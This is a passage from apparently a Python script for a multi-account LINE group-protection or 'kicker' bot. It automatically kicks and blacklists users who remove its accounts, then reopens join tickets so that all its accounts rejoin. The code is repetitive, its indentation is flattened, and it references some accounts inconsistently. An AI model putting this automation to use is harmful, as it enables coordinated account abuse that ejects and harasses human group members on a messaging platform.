G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki8.reissueGroupTicket(op.param1)
wait["blacklist"][op.param2] = True
elif op.param3 in ki10mid:
if op.param2 in ki9mid:
G = ki9.getGroup(op.param1)
G.preventJoinByTicket = False
ki9.updateGroup(G)
Ticket = ki9.reissueGroupTicket(op.param1)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki9.reissueGroupTicket(op.param1)
else:
G = ki11.getGroup(op.param1)
ki11.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki9.updateGroup(G)
Ticket =ki9.reissueGroupTicket(op.param1)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki9.reissueGroupTicket(op.param1)
elif op.param3 in ki11mid:
if op.param2 in ki10mid:
G = ki9.getGroup(op.param1)
G.preventJoinByTicket = False
ki10.updateGroup(G)
Ticket = ki10.reissueGroupTicket(op.param1)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki10.reissueGroupTicket(op.param1)
else:
G = ki12.getGroup(op.param1)
ki12.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki10.updateGroup(G)
Ticket =ki10.reissueGroupTicket(op.param1)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki10.reissueGroupTicket(op.param1)
elif op.param3 in ki12mid:
if op.param2 in ki11mid:
G = ki11.getGroup(op.param1)
G.preventJoinByTicket = False
ki11.updateGroup(G)
Ticket = ki11.reissueGroupTicket(op.param1)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki11.reissueGroupTicket(op.param1)
else:
G = ki13.getGroup(op.param1)
ki13.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki11.updateGroup(G)
Ticket =ki11.reissueGroupTicket(op.param1)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki11.reissueGroupTicket(op.param1)
elif op.param3 in ki13mid:
if op.param2 in ki12mid:
G = ki12.getGroup(op.param1)
G.preventJoinByTicket = False
ki12.updateGroup(G)
Ticket = ki12.reissueGroupTicket(op.param1)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki12.reissueGroupTicket(op.param1)
else:
G = cl.getGroup(op.param1)
cl.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki12.updateGroup(G)
Ticket =ki12.reissueGroupTicket(op.param1)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki12.reissueGroupTicket(op.param1)
if op.param3 in mid:
if op.param2 in kimid:
G = ki.getGroup(op.param1)
G.preventJoinByTicket = False
ki.updateGroup(G)
Ticket = ki.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
ki.updateGroup(G)
Ticket = ki.reissueGroupTicket(op.param1)
else:
G = ki.getGroup(op.param1)
ki.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
cl.updateGroup(G)
Ticket = ki2.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki20.reissueGroupTicket(op.param1)
wait["blacklist"][op.param2] = True
elif op.param3 in kimid:
if op.param2 in mid:
G = cl.getGroup(op.param1)
G.preventJoinByTicket = False
cl.updateGroup(G)
Ticket = cl.reissueGroupTicket(op.param1)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = cl.reissueGroupTicket(op.param1)
else:
G = ki2.getGroup(op.param1)
ki2.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
cl.updateGroup(G)
cl.updateGroup(G)
Ticket = cl.reissueGroupTicket(op.param1)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = cl.reissueGroupTicket(op.param1)
wait["blacklist"][op.param2] = True
elif op.param3 in ki2mid:
if op.param2 in kimid:
G = ki.getGroup(op.param1)
G.preventJoinByTicket = False
ki.updateGroup(G)
Ticket = ki.reissueGroupTicket(op.param1)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki.reissueGroupTicket(op.param1)
else:
G = ki3.getGroup(op.param1)
ki3.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki.updateGroup(G)
Ticket = ki.reissueGroupTicket(op.param1)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki.reissueGroupTicket(op.param1)
wait["blacklist"][op.param2] = True
elif op.param3 in ki3mid:
if op.param2 in ki2mid:
G = ki2.getGroup(op.param1)
G.preventJoinByTicket = False
ki2.updateGroup(G)
Ticket = ki2.reissueGroupTicket(op.param1)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki2.reissueGroupTicket(op.param1)
else:
G = ki4.getGroup(op.param1)
ki4.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki2.updateGroup(G)
Ticket = ki2.reissueGroupTicket(op.param1)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki2.reissueGroupTicket(op.param1)
wait["blacklist"][op.param2] = True
elif op.param3 in ki4mid:
if op.param2 in ki3mid:
G = ki3.getGroup(op.param1)
G.preventJoinByTicket = False
ki3.updateGroup(G)
Ticket = ki3.reissueGroupTicket(op.param1)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki3.reissueGroupTicket(op.param1)
else:
G = ki5.getGroup(op.param1)
ki5.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki3.updateGroup(G)
Ticket = ki3.reissueGroupTicket(op.param1)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki3.reissueGroupTicket(op.param1)
elif op.param3 in ki5mid:
if op.param2 in ki4mid:
G = ki4.getGroup(op.param1)
G.preventJoinByTicket = False
ki4.updateGroup(G)
Ticket = ki4.reissueGroupTicket(op.param1)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki4.reissueGroupTicket(op.param1)
else:
G = ki6.getGroup(op.param1)
ki6.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki4.updateGroup(G)
Ticket = ki4.reissueGroupTicket(op.param1)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki4.reissueGroupTicket(op.param1)
elif op.param3 in ki6mid:
if op.param2 in ki5mid:
G = ki5.getGroup(op.param1)
G.preventJoinByTicket = False
ki5.updateGroup(G)
Ticket = ki5.reissueGroupTicket(op.param1)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki5.reissueGroupTicket(op.param1)
else:
G = ki7.getGroup(op.param1)
ki7.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki5.updateGroup(G)
Ticket = ki5.reissueGroupTicket(op.param1)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki5.reissueGroupTicket(op.param1)
elif op.param3 in ki7mid:
if op.param2 in ki6mid:
G = ki6.getGroup(op.param1)
G.preventJoinByTicket = False
ki6.updateGroup(G)
Ticket = ki6.reissueGroupTicket(op.param1)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki6.reissueGroupTicket(op.param1)
else:
G = ki8.getGroup(op.param1)
ki8.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki6.updateGroup(G)
Ticket = ki6.reissueGroupTicket(op.param1)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki6.reissueGroupTicket(op.param1)
elif op.param3 in ki8mid:
if op.param2 in ki7mid:
G = ki7.getGroup(op.param1)
G.preventJoinByTicket = False
ki7.updateGroup(G)
Ticket = ki7.reissueGroupTicket(op.param1)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki7.reissueGroupTicket(op.param1)
else:
G = ki9.getGroup(op.param1)
ki9.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki7.updateGroup(G)
Ticket = ki7.reissueGroupTicket(op.param1)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki7.reissueGroupTicket(op.param1)
elif op.param3 in ki9mid:
if op.param2 in ki8mid:
G = ki8.getGroup(op.param1)
G.preventJoinByTicket = False
ki8.updateGroup(G)
Ticket = ki8.reissueGroupTicket(op.param1)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki8.reissueGroupTicket(op.param1)
else:
G = ki10.getGroup(op.param1)
ki10.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki8.updateGroup(G)
Ticket =ki8.reissueGroupTicket(op.param1)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki8.reissueGroupTicket(op.param1)
wait["blacklist"][op.param2] = True
elif op.param3 in ki10mid:
if op.param2 in ki9mid:
G = ki9.getGroup(op.param1)
G.preventJoinByTicket = False
ki9.updateGroup(G)
Ticket = ki9.reissueGroupTicket(op.param1)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki9.reissueGroupTicket(op.param1)
else:
G = ki11.getGroup(op.param1)
ki11.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki9.updateGroup(G)
Ticket =ki9.reissueGroupTicket(op.param1)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki9.reissueGroupTicket(op.param1)
elif op.param3 in ki11mid:
if op.param2 in ki10mid:
G = ki9.getGroup(op.param1)
G.preventJoinByTicket = False
ki10.updateGroup(G)
Ticket = ki10.reissueGroupTicket(op.param1)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
